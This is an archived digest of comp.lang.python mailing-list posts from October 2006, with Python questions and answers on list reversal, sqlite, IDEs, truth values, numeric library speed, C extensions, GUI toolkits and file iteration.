References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>	<mailman.338.1160604416.11739.python-list@python.org>	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>
	<mailman.356.1160631952.11739.python-list@python.org>
Message-ID: <eJtXg.104$1n3.2850@news.tufts.edu>

Fredrik Lundh wrote:

> I still think the "get the official build (and add win32all if you're 
> doing native windows stuff)" advice is sound, though.

Agreed. It seems silly to use anything other than the official release.

But anyway, I think the OP was confused about having to install the 
sqlite libraries manually, because I believe you have to do this on 
Linux distros, but a Windows binary of Python already includes all you 
need to work with sqlite3.

Now, if the ActiveState distro *doesn't* include the libraries, then I 
would probably call it broken too. :)


From python at hope.cz  Fri Oct 20 10:38:55 2006
From: python at hope.cz (Lad)
Date: 20 Oct 2006 07:38:55 -0700
Subject: FOR statement
Message-ID: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>

If I have a list

Mylist=[1,2,3,4,5]
I can print it

for i in Mylist:
   print i

and results is
1
2
3
4
5


But how can I  print it in a reverse order so that I get
5
4
3
2
1



?


Thanks.
L



From simonharrison at fastmail.co.uk  Sat Oct  7 11:55:45 2006
From: simonharrison at fastmail.co.uk (simonharrison at fastmail.co.uk)
Date: 7 Oct 2006 08:55:45 -0700
Subject: Help with first script please. files, directories, autocomplete
Message-ID: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>

Hello everyone. Hopefully someone can point me in the right direction
here. I'm wanting to write a script to open microsoft word and adobe
pdf documents . Here is a little background:

At the company where I work (an inspection firm) all reports of
inspections are saved as word files. A particular file may contain many
reports named like this; 12345A-F.doc. This file contains six reports.
Most inspections also require a technique which is saved as a pdf. The
pdf filename is the identification of the part being inspected.

My command line script will work like this: The user is asked whether
they are searching for a technique or a report

> Find (c)ertificate or (t)echnique

if they press 'c' they are then asked to enter certificate number.
Using the code below, no enter is needed

import msvcrt
print "Find (t)echnique or (c)ertificate: "
ch = msvcrt.getch()
if ch == 't':
  print "Enter technique number: "
elif ch == 'c':
  print "Enter certificate number: "
else:
  print 'command not understood.'
raw_input()

Obviously I will need to wrap this into a function. What I need to know
how to do is save the two directories where the files are stored. if
'c' is selected I want to use that as the directory to search. same for
techniques. What is the best way to do this? I would also like to have
the text autocomplete after maybe three characters, is this possible?
Am I correct in thinking all files would have to be stored in a list
for this to work?

As you can tell I am new to programming. I don't want someone to write
this script for me, just give me some pointers to get going (maybe a
tutorial on the net). Unless someone really wants to write it of
course!

Many thanks and sorry for the long post.



From tshepang at gmail.com  Sun Oct 15 07:30:40 2006
From: tshepang at gmail.com (Tshepang Lekhonkhobe)
Date: Sun, 15 Oct 2006 13:30:40 +0200
Subject: where is Python tutorial?
In-Reply-To: <7xzmbxhmd6.fsf@ruckus.brouhaha.com>
References: <mailman.536.1160909001.11739.python-list@python.org>
	<7xzmbxhmd6.fsf@ruckus.brouhaha.com>
Message-ID: <857993970610150430x49b38c69vd6735818641646ae@mail.gmail.com>

On 15 Oct 2006 04:03:33 -0700, Paul Rubin
<"http://phr.cx"@nospam.invalid> wrote:
> "Tshepang Lekhonkhobe" <tshepang at gmail.com> writes:
> > I looked in the packages list and couldn't find the tutorial and was
> > wondering if it was removed from the archive. Was it?
>
> http://www.google.com/search?q=%22python+tutorial%22
>
> finds it pretty fast

Sorry for this since I thought I was sending to Debian-Python, and was
looking for a Debian package.


From bblais at bryant.edu  Thu Oct 19 12:35:00 2006
From: bblais at bryant.edu (Brian Blais)
Date: Thu, 19 Oct 2006 12:35:00 -0400
Subject: advice for web-based image annotation
Message-ID: <4537A934.10604@bryant.edu>

Hello,

I want to set up a system where I can have my family members write comments about a 
number of pictures, as part of a family tree project.  Essentially, I want them to be 
able to log into a website (I already have the webspace, and the server runs python, 
but not mod_python), see images, and be able to fill in text boxes for comments and 
enter dates for the pictures.  These comments and dates will then be viewable by the 
others logging in, so that I can keep track of collect stories, details, dates, 
etc...and also, who is writing what, when.

I've written some basic CGI python scripts, and can imagine how to do this, but I was 
wondering if it would better to look into a framework like cherrypy, turbogears, 
zope, etc.  I have never done any database programming, but have written CGI scripts 
to modify excel sheets and text files to store state.  I am not adverse to learning 
the database end, but I don't want to climb that hill unless I feel there is a 
significant benefit.  I don't have admin rights on the server, if that makes a 
difference.

Any suggestions would be greatly appreciated!


		thanks,

				Brian Blais

-- 
-----------------

              bblais at bryant.edu
              http://web.bryant.edu/~bblais


From fredrik at pythonware.com  Fri Oct 20 01:51:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:51:22 +0200
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
Message-ID: <eh9o4r$9ci$1@sea.gmane.org>

Jerry wrote:

> even though I've read the PEP

even the examples section?

     http://www.python.org/dev/peps/pep-0318/#examples

if you want more examples, see the cookbook

http://www.google.com/search?q=+site%3Aaspn.activestate.com+decorator+cookbook

</F>



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 02:02:26 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 16:02:26 +1000
Subject: sufficiently pythonic code for testing type of function
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
Message-ID: <87irir75l9.fsf@benfinney.id.au>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> I wrote this for someone else to take an object and list of types,
> then check if obj is one of those types, raising an error otherwise.

This is a way of programming known as "Look Before You Leap" (LBYL).
It is most likely a mistake to do this in Python. (That's not an
absolute, but it's the smart way to bet.)

Far better is to take the objects passed, *use* them in the way that
you need to use them, and catch exceptions that get raised at the
point where there is enough context to handle them. This is the
"Easier to Ask Forgiveness than Permission" (EAFP) principle, and it
is considered to be far more Pythonic.

    <URL:http://jaynes.colorado.edu/PythonIdioms.html>

-- 
 \       "Prediction is very difficult, especially of the future."  -- |
  `\                                                        Niels Bohr |
_o__)                                                                  |
Ben Finney



From steve at REMOVE.THIS.cybersource.com.au  Fri Oct 27 09:31:39 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Fri, 27 Oct 2006 23:31:39 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
	<pan.2006.10.26.14.51.45.732212@REMOVE.THIS.cybersource.com.au>
	<slrnek3jk9.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <pan.2006.10.27.13.31.19.721942@REMOVE.THIS.cybersource.com.au>

On Fri, 27 Oct 2006 09:16:57 +0000, Antoon Pardon wrote:

>> I think it is a good time to remind people of some extremely well-thought
>> out opposition to the introduction of bools to Python from Laura Creighton:
>>
>> http://mail.python.org/pipermail/python-list/2002-April/095878.html
>>
>> She lost the debate, Guido had the final word and Python now has bools.
>> Take particular note of her description of Python distinguishing between
>> Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc).
> 
> Yes and IMO that is a less usefull distinction than the distinction
> between True and False. When I write code I think in terms of
> conditions. In those conditions this has to be treated this way
> otherwise it has to be treated an other way. Conditions give
> results that are either True or False, not Something or Nothing.

And if you read the thread that Laura Creighton's post is part of, you
will see that she acknowledges that most people think strongly in terms
of binary true/false yes/no states, and that this is often the wrong thing
to do. There are lots of human thought patterns that are unhealthy, and
binary is often one of them.

The world is continuous, and our brains think in binary. No wonder people
have such trouble with concepts like evolution:

- there is a continual chain of individuals such that every offspring of
an reptile is a reptile, and every parent of a mammal is a mammal, and
yet mammals are directly descended from reptiles.

By I digress. This is too easy to get off topic...


> I don't think of 10 > 5 as Something while 5 < 10 would be
> Nothing. 

Not at all, you got your operators the wrong way around. Five certainly is
less than 10 in every counting system I've ever come across. I think you
meant 5 > 10 is Nothing.

Certainly purely mathematical relations like GT and LT lend themselves
very well to true two-valued algebra. The thing to remember is that
Python's truth model is not the same as pure Boolean algebra. For
starters, it certainly is not two-valued! It is infinitely-valued. It's
just that many of those values are equivalent *in a Boolean context*.

In Pascal, writing "x := 2; if x then..." would be an error, because x is
not a Boolean. But it is certainly useful to be able to write the
equivalent in Python. The designer of Pascal choose strict Boolean
algebra; the designer of Python choose a more flexible, less strict model.

If you are going to argue for strict Booleans, like in Pascal, then
mathematical relations like GT and LT will be your poster-child. 

But if you are going to argue for Python's less strict truth model, then
you'll talk about lots of examples like this:

if somelist:
    # work with the list
else:
    # nothing to work with



> So while the paradigma of the language may be the
> distinction of Something vs Nothing the programmer will often
> enough think in terms of True and False. 

If you read Laura's post, you will see that she is arguing strongly that
thinking about True and False is often -- usually! -- a mistake. I
acknowledge that there are cases where it is either necessary or desirable
to think in terms of True/False, but that is less common than you might
think.


> So IMO it would have
> been better if python had made the distinction between True and
> False and so made the programmer code the Something/Nothing
> disctinction explicitly.

I don't understand what you are saying here, unless it is that you
believe that Python should have strict Pascal-style Booleans.


-- 
Steven.



From Matthew.Warren at Digica.com  Wed Oct  4 06:19:35 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Wed, 4 Oct 2006 11:19:35 +0100
Subject: Improving telnetlib
In-Reply-To: <452095AF.3090503@excess.org>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58B@UKEX01.Digica.local>

 
Hi,

I use telnetlib in an app I am writing, and would like to add
functionality to it to support interactive terminal sessions , IE: be
able to 'vi' a file.

Currently it seems telnetlib isnt quite sophisticated enoguh to support
such a thing.

The trouble is, I havent got a clue where to start and would appreciate
a couple of pointers to get me going...




Thanks,

Matt.


This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 

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From gagsl-py at yahoo.com.ar  Wed Oct 18 22:09:57 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 23:09:57 -0300
Subject: Converting existing module/objects to threads
In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061018230743.0420f8c0@yahoo.com.ar>

At Wednesday 18/10/2006 22:02, jdlists at gmail.com wrote:

>This currently works in a non-threaded version, but only for one device
>at a time, there is a need to create a single windows(yeach) service
>that talks to many of these devices at once.  I don't need worker
>threads that handle seperate portions of the entire job, i need a
>single application to spawn multiple processes to run through the
>entire communication from configure to report, sleep until the next
>interval time and run again.  The communication could last from 1
>minute to 10 minutes before it ends.

Consider using the asyncore module instead of threads.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From steve at holdenweb.com  Thu Oct  5 09:52:02 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 14:52:02 +0100
Subject: Subclassing built-in classes
In-Reply-To: <200610051441.54455.maric@aristote.info>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>	<eg2t96$jhj$1@sea.gmane.org>
	<200610051441.54455.maric@aristote.info>
Message-ID: <eg32kd$6tt$1@sea.gmane.org>

Maric Michaud wrote:
> Le jeudi 05 octobre 2006 14:20, Steve Holden a ?crit :
> 
>>Unfortunately the literals are interpreted during bytecode generation,
>>before the compiled program is available, and your modifications to
>>__builtns__ haven't been made, so the answer is "no", I'm afraid.
> 
> 
> But what prevents to interpret literals as a call to __builtins__ objects and 
> functions ? optimization ? what else ?
> 
How can you modify __builtins__ before your program starts running? You 
can't.

What does the interpreter have to do before the program runs? Translate 
it into bytecode.

When are literals interpreted? During translation into bytecode.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From email at christoph-haas.de  Tue Oct 17 14:40:01 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Tue, 17 Oct 2006 20:40:01 +0200
Subject: Best IDE?
In-Reply-To: <1160779213.761906.285630@k70g2000cwa.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160779213.761906.285630@k70g2000cwa.googlegroups.com>
Message-ID: <200610172040.01922.email@christoph-haas.de>

On Saturday 14 October 2006 00:40, sjdevnull at yahoo.com wrote:
> Ahmer wrote:
> > What do you guys use?
>
> vim
>
> Like:
>
> Built-in python interpreter so you can do any editor customizations in
> Python
> Good multilanguage support (Python, but also C, C++, Java, HTML, XML,
> SQL, and dozens of others)
> FAST
> Good code navigation via smart tags
> Does intelligent completion of module members, methods, etc
> Python syntax checking on the fly (e.g. typing "if a=1:" and hitting
> enter flags the error immediately)
> Class browsing support (whatever I'm editing, there's a class menu to
> either pop up to the parent(s), down to children, or jump around
> various methods within the class)
> Automatically show function/method docstrings/leading comments (and
> documentation for standard functions), synopsis in the status bar or
> full text in a popup window if you hit F1
> Configurable project support so for large projects it is smart about
> which parts of the source tree might be relevant to what I'm working on
> right now
> Runs in text-mode or GUI, so I can use the same editor making quick
> edits over ssh that I use in my on-desktop development
>
> Hate:
> Required a lot of customization to get all of the above

I have browsed many vim plugins. Still I couldn't find everything you gush 
about. I would love to have the comfort of vim with the smartness of 
ipython. Could you give a few pointers to a curious geek with too much 
spare time on how you did all this? I couldn't even get ctags working 
satisfyingly.

Cheers
 Christoph


From no-spam at no-spam-no-spam.com  Sun Oct 22 01:55:44 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sun, 22 Oct 2006 07:55:44 +0200
Subject: Speed comparison of Numeric, numarray, numpy
Message-ID: <ehf155$f0a$1@ulysses.news.tiscali.de>

just a note - some speed comparisons :

>>> timeit.Timer('x=a-a*.1','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000)
0.60627370238398726
>>> timeit.Timer('x=a-a*.1','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000)
0.42836673376223189
>>> timeit.Timer('x=a-a*.1','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000)
0.36965815487747022

>>> timeit.Timer('x=a[30:40]','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000)
0.016557970357098384
>>> timeit.Timer('x=a[30:40]','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000)
0.15692469294117473
>>> timeit.Timer('x=a[30:40]','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000)
0.01951756438393204

>>> timeit.Timer('x=MLab.max(a)','import Numeric,MLab;a=Numeric.ones(300,Numeric.Float)').timeit(10000)
0.21454933518180042
>>> timeit.Timer('x=a.max()','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000)
0.70624786110965942
>>> timeit.Timer('x=a.max()','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000)
0.21168165227754798

>>> timeit.Timer('x=MLab.max(a[30:40])','import Numeric,MLab;a=Numeric.ones(300,Numeric.Float)').timeit(10000)
0.21775784352394112
>>> timeit.Timer('x=a[30:40].max()','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000)
0.81516337970242603
>>> timeit.Timer('x=a[30:40].max()','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000)
0.21344193186450866

>>> timeit.Timer('a*=0.99','import Numeric;a=Numeric.ones(300,Numeric.Float)').timeit(10000)
0.293094513410324
>>> timeit.Timer('a*=0.99','import numarray;a=numarray.ones(300,numarray.Float)').timeit(10000)
0.061937480881169904
>>> timeit.Timer('a*=0.99','import numpy;a=numpy.ones(300,numpy.float)').timeit(10000)
0.16990958347923879


strange differences in all directions ...

robert


From fredrik at pythonware.com  Wed Oct 11 12:40:42 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 18:40:42 +0200
Subject: Funky file contents when os.rename or os.remove are interrupted
In-Reply-To: <1160584103.590584.67110@i42g2000cwa.googlegroups.com>
References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>	<452C78C8.9080305@v.loewis.de>
	<1160584103.590584.67110@i42g2000cwa.googlegroups.com>
Message-ID: <egj6qb$71f$1@sea.gmane.org>

Russell Warren wrote:

> One last non-python question... a few things I read seemed to vaguely
> indicate that the journaling feature of NTFS is an extension/option.

http://www.microsoft.com/whdc/system/winpreinst/ntfs-preinstall.mspx

   NTFS is a journaling file system. NTFS writes a log of changes being
   made, which offers significant benefit in cases where a system loses
   power, experiences an unexpected reset, or crashes.

http://en.wikipedia.org/wiki/NTFS

   A file system journal is used in order to guarantee the integrity of
   the file system itself (but not of each individual file).  Systems
   using NTFS are known to have improved reliability compared to FAT file
   systems.

</F>



From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 17 11:58:45 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 17 Oct 2006 17:58:45 +0200
Subject: Save/Store whole class (or another object) in a file
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
Message-ID: <slrnej9vdl.t6r.sybrenUSE@schuimige.stuvel.eu>

alexLIGO at googlemail.com enlightened us with:
> is it possible in python (with/without matplotlib, numpy etc) to
> store a whole class with its data into a file

Check out the pickle module.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From lycka at carmen.se  Thu Oct 19 10:36:38 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Thu, 19 Oct 2006 16:36:38 +0200
Subject: Ok. This IS homework ...
In-Reply-To: <mailman.561.1160990296.11739.python-list@python.org>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
	<mailman.561.1160990296.11739.python-list@python.org>
Message-ID: <eh82hm$s0b$1@wake.carmen.se>

Frederic Rentsch wrote:
> Once upon a time programmers did things like this:
> 
>               BEGIN
>                 |
>  -------------->|<-------------------------------------
> |               |                                      |
> |           catch input                                |
> |               |                                      |
> |       input type valid? - prompt for correct input --|
> |               +                                      |
> |        input too large? + --- prompt for new input --
> |               -
> |      add to running total |               |
> |          status report |               |
>  -- - running total >= max?
>                 +
>            report done                  |
>                END
> 
> It was called a flow chart. Flow charts could be translated directly 
> into machine code written in assembly languages which had labels, tests 
> and jumps as the only flow-control constructs. When structured 
> programming introduced for and while loops they internalized labeling 
> and jumping. That was a great convenience. Flow-charting became rather 
> obsolete because the one-to-one correspondence between flow chart and 
> code was largely lost.

As long as you only draw your loops to the right (or left, just be
consistent) and make sure you don't cross any lines, you're doing
structured programming. (I think...)

E.g.

|
v
blah1<--------+
|             ^
v             |
if xx-->foo   |
|        |    |
v        v    |
bar     baz   |
|        |    |
+<-------+    |
|             |
v             |
maybe-------->+
|
v



From sferriol at imag.fr  Mon Oct 23 05:29:08 2006
From: sferriol at imag.fr (Sylvain Ferriol)
Date: Mon, 23 Oct 2006 11:29:08 +0200
Subject: is it a bug ?
In-Reply-To: <mailman.966.1161594940.11739.python-list@python.org>
References: <ehhvqa$48r$1@trompette.imag.fr>
	<mailman.966.1161594940.11739.python-list@python.org>
Message-ID: <ehi25q$72d$1@trompette.imag.fr>

Fredrik Lundh a ?crit :
> Sylvain Ferriol wrote:
> 
>> can you explain to me what happened:
>>
>> class toto(object):
>>    eq = float.__eq__
>>
>> t = toto()
>>
>> getattr(t,'eq')
>> TypeError: descriptor '__eq__' for 'float' objects doesn't apply to 
>> 'toto' object
> 
> 
> I'd say the error message explains it pretty well.  what did you expect 
> this to do?
> 
i just want a class variable named 'eq', i could understand if its name 
was '__eq__'.
class toto(object):
   __eq__ = float.__eq__

why i can not create some class variables like this ?
class toto(object):
   a= float.__eq__
   b= str.__eq__
   ......



> </F>
> 


From max at alcyone.com  Sat Oct  7 17:04:54 2006
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 07 Oct 2006 14:04:54 -0700
Subject: class print?
In-Reply-To: <1160254799.657198.240360@e3g2000cwe.googlegroups.com>
References: <1160254799.657198.240360@e3g2000cwe.googlegroups.com>
Message-ID: <SpydnQ8mxuHhi7XYnZ2dnUVZ_omdnZ2d@speakeasy.net>

SpreadTooThin wrote:

> Hi... Many python object can be printed simpy by saying:
> print obj
> what method(s) need to be implemented in my own classes such that print
> dumps the object?

__str__

-- 
Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
  San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis
   Can I walk with you / 'Till the day that my heart stops beating
    -- India Arie


From wektorian at gmail.com  Sat Oct 21 11:17:22 2006
From: wektorian at gmail.com (Wektor)
Date: 21 Oct 2006 08:17:22 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <453A3440.8090801@kevin-walzer.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
Message-ID: <1161443842.206948.145300@i42g2000cwa.googlegroups.com>


Kevin Walzer wrote:
> sturlamolden wrote:
> > Christophe wrote:
> >
> >> Nobody mentionned it, but I think you should try PyQT and PyGTK before
> >> wxPython. Myself, I do not like wx : it looks too much like the MFC.
> >>
> >> PyGTK is good, but GTK doesn't work that well on windows.
> >
> > GTK and PyGTK works well on Windows now. GTK used to be unstable on
> > Windows, but that has been taken care of. I would not use anything else
> > but PyGTK for GUI development in Python. Go here to get the Windows
> > port:
> >
> > http://www.mapr.ucl.ac.be/~gustin/win32_ports/
> >
> > With PyGTK and GLADE, the GUI can be designed in GLADE and imported as
> > an XML-resource (using libglade). It saves us of all the tedious
> > GUI-programming. All that is needed is the event handlers, which we
> > obviously have to code. When they are done, we simply put references to
> > them in a dictionary, and tell libglade to dispacth on it. All the GUI
> > programming crap is hidden away. Since there is no actual GUI code in
> > Python, it also makes maintenance and upgrading much easier: The GUI
> > can be redesigned in GLADE without affecting the Python code. Have you
> > ever tried to change anything in an MFC project with Visual C++? It's a
> > nightmare.
> >
> I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an
> Aqua framework), only under X11. So that's a non-starter for me.

You have 2 choices then wxWidgets or Qt.
wx has also graphical editors like Glade (there is a wxGlade project)
giving a xml description of a window and its cross platform.
I know there are graphical for Qt but i dont know if theyre giving xml
or are just code-generators.
You could also do gui in Java or .Net and use python with their native
interpreter (jython is a bit outdated but IronPython is "online")
You can also use a local web app with one of cool Python'ish web
frameworks -- id suggest TurboGears, but you can choose from many ill
mention Django (which is i think the biggest rival for TG)

On the other hand its a pity that there isnt much choice in cross
platform (win mac lin) GUI platforms until now i was a great fan of GTK
but there isnt a proper port for Mac.
Its also a pity that no one didnt do something based on OpenGL with
python (or maybe im wrong) it could be cool and really cross-platform.



From Kiran.Karra at gmail.com  Tue Oct 24 18:24:54 2006
From: Kiran.Karra at gmail.com (Kiran)
Date: 24 Oct 2006 15:24:54 -0700
Subject: return tuple from C to python (extending python)
Message-ID: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>

Hi all, I want to make python call some C functions, process them and
return them.

Ok, I got all the wrapper functions and everything setup right.  Here
is my problem.  What I need to do is to return a tuple from C to
python.

To go about doing this, I first create a tuple object in C doing the
following:

PyObject* toRet;
toRet = PyTuple_New(num_addr);

then, in a for loop, i assign values to the tuple as follows:

for ( i = 0; i < num_addr; i++ )
    {
        printf("%d\n", dat[i]);
        PyTuple_SET_ITEM(toRet, i, (PyObject*)dat[i] );
    }
(dat is declared as follows: unsigned int* dat; )

then, i say return toRet at the end of my C function.

when I try to print the tuple in python, it says the memory address
0x.... could not be written, and I can see a part of the tuple
printout, which is as follows:
( <nil>,
then i get my error.

can someone please help me with this?

thanks a lot!
-- Kiran



From python at hope.cz  Thu Oct 19 03:22:10 2006
From: python at hope.cz (Lad)
Date: 19 Oct 2006 00:22:10 -0700
Subject: Dictionaries
In-Reply-To: <pan.2006.10.18.17.00.39.601696@REMOVE.THIS.cybersource.com.au>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
	<pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>
	<1161189110.702575.162220@f16g2000cwb.googlegroups.com>
	<pan.2006.10.18.17.00.39.601696@REMOVE.THIS.cybersource.com.au>
Message-ID: <1161242530.375217.314810@m73g2000cwd.googlegroups.com>

Steven,
Thank you for help;
Here is a code that works in a way I need


A={'c':1,'d':2,'e':3,'f':2}
B={'c':2,'e':1}
if len(A)>=len(B):
	Delsi=B
	C = A.copy()
else:
	Delsi=A
	C = B.copy()

for key, value in Delsi.items():
	if C.has_key(key):
		C[key]=C[key]+value
	else:
		C[key]=value



How easy :-)
Regards,
L.

Steven D'Aprano wrote:
> On Wed, 18 Oct 2006 09:31:50 -0700, Lad wrote:
>
> >
> > Steven,
> > Thank you for your reply and question.
> >
> >>
> >> What should the result be if both dictionaries have the same key?
> > The answer: the values should be added together and assigned to the key
> > That is
> > {'a':1, 'b':5}
> > ( from your example below)
> >
> > Is there a solution?
>
> Of course there is a solution. You just have to program it.
>
> Look again at my example code before:
>
> def add_dict(A, B):
>     """Add dictionaries A and B and return a new dictionary."""
>     C = A.copy()  # start with a copy of A
>     for key, value in B.items():
>         if C.has_key(key):
>             raise ValueError("duplicate key '%s' detected!" % key)
>         C[key] = value
>     return C
>
>
> Can you see how to modify this function to do what you want?
>
> (Hint: instead of raising a ValueError exception, you want to do something
> else.)
> 
> 
> -- 
> Steven.



From kay.schluehr at gmx.net  Sat Oct 14 12:12:54 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 14 Oct 2006 09:12:54 -0700
Subject: locals() and globals()
References: <mailman.508.1160836045.11739.python-list@python.org>
Message-ID: <1160842374.356195.91190@h48g2000cwc.googlegroups.com>

Paolo Pantaleo wrote:
> Hi
>
> this exaple:
>
> def lcl():
>     n=1
>     x=locals()
>     x["n"]=100
>     print "n in lcl() is:" +str(n)
>     #This will say Name error
>     #x["new"]=1
>     #print new
>
>
> n=1
> x=globals()
> x["n"]=100
> print "gobal n is:" +str(n)
> x["new"]=1
> print "new is:" +str(new)
> lcl()
>
> produces
>
> gobal n is:100
> new is:1
> n in lcl() is:1
>
> shouldn't be n in lcl() 100 too?
>
> why accessing the names dictionary globals() and locals() gives
> different results?

Python is statically scoped. The name bindings are fixed at compile
time. Hence you can't achieve dynamic scoping by using the locals()
dictionary and add new names to the locals() which might eventually be
used as local variables in the body of the function. The function still
controls its own state and does not permit delegating state changes via
locals(). That's what objects are for.



From zzf818 at gmail.com  Thu Oct 19 07:38:15 2006
From: zzf818 at gmail.com (kelin,zzf818@gmail.com)
Date: 19 Oct 2006 04:38:15 -0700
Subject: How to use python in TestMaker
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
	<mailman.733.1161232470.11739.python-list@python.org>
Message-ID: <1161257895.508598.260290@m7g2000cwm.googlegroups.com>

I don't know that TestMaker is written in Python before. So maybe it's
my mistake. Then have you ever done testing jobs with Python? I know
that many people do testing jobs with it. I just can't find a good tool
to do Unit Test  with Python. Could you please tell me any?

Thanks a lot!


Gabriel Genellina wrote:
> At Wednesday 18/10/2006 23:34, kelin,zzf818 at gmail.com wrote:
>
> >Now I 'm learning python to do testing jobs, and want to use it in
> >TestMaker.
> >The problem is: I don't know how to use python in TestMaker.
> >Just write python program in it or call .py files in it?
> >I am really new about it and need some help.
>
> What do you mean by "use python in TestMaker"?
> TestMaker is written in Python, but you dont need to know Python to
> use it at all.
> Do you want to modify TestMaker itself? Then you should learn the
> Python language first.
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
>
>
>
>
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya! 
> http://www.yahoo.com.ar/respuestas



From olsongt at verizon.net  Fri Oct 13 12:26:00 2006
From: olsongt at verizon.net (olsongt at verizon.net)
Date: 13 Oct 2006 09:26:00 -0700
Subject: building extensions for Windows Python
In-Reply-To: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
Message-ID: <1160756760.071171.298590@b28g2000cwb.googlegroups.com>


JW wrote:
>
> My main problem is that I don't really grasp the big picture.  Can someone
> give me an overview of the requirements to build extensions for Windows
> Python, circa 2.5?  Or, can I tell my employer she'll just have to
> hire/contract a Windows expert to do the mud wrestling?
>
> Jim Wilson
> Gainesville, FL

To build an extension that runs on a generic python 2.5 you need a
Windows OS (suprise!) and VS.NET 2003.  Some people may have had some
success with MinGW32 (on windows) but it's not going to work
'out-of-the-box'.

If your code is straightforward crossplatform C, you could setup a
distutils configuration script and pass it off to someone else to build
the windows binaries, but chances are some debugging will have to be
done.



From ak at silmarill.org  Sun Oct  1 23:55:38 2006
From: ak at silmarill.org (Rainy)
Date: 1 Oct 2006 20:55:38 -0700
Subject: Problem with .next() method adding junk characters.
Message-ID: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>

Hi,

I tried searching for this and did not find this issue. I only looked
at about dozen hits, I apologize if this is covered somewhere and I
missed it. Without much further ado, here's the thing (Win, Py2.5):

>>> f = open('test', 'w')
>>> f.fileno()
4
>>> f.write('1\n')
>>> f.write('2\n3\n4\n')
>>> f.next()

Traceback (most recent call last):
  File "<pyshell#8>", line 1, in <module>
    f.next()
IOError: [Errno 9] Bad file descriptor
>>> f.close()
>>> f = open('test')
>>> f.next()
'1\n'
>>> f.next()
'2\n'
>>> f.next()
'3\n'
>>> f.next()
'4\n'
>>> f.next()
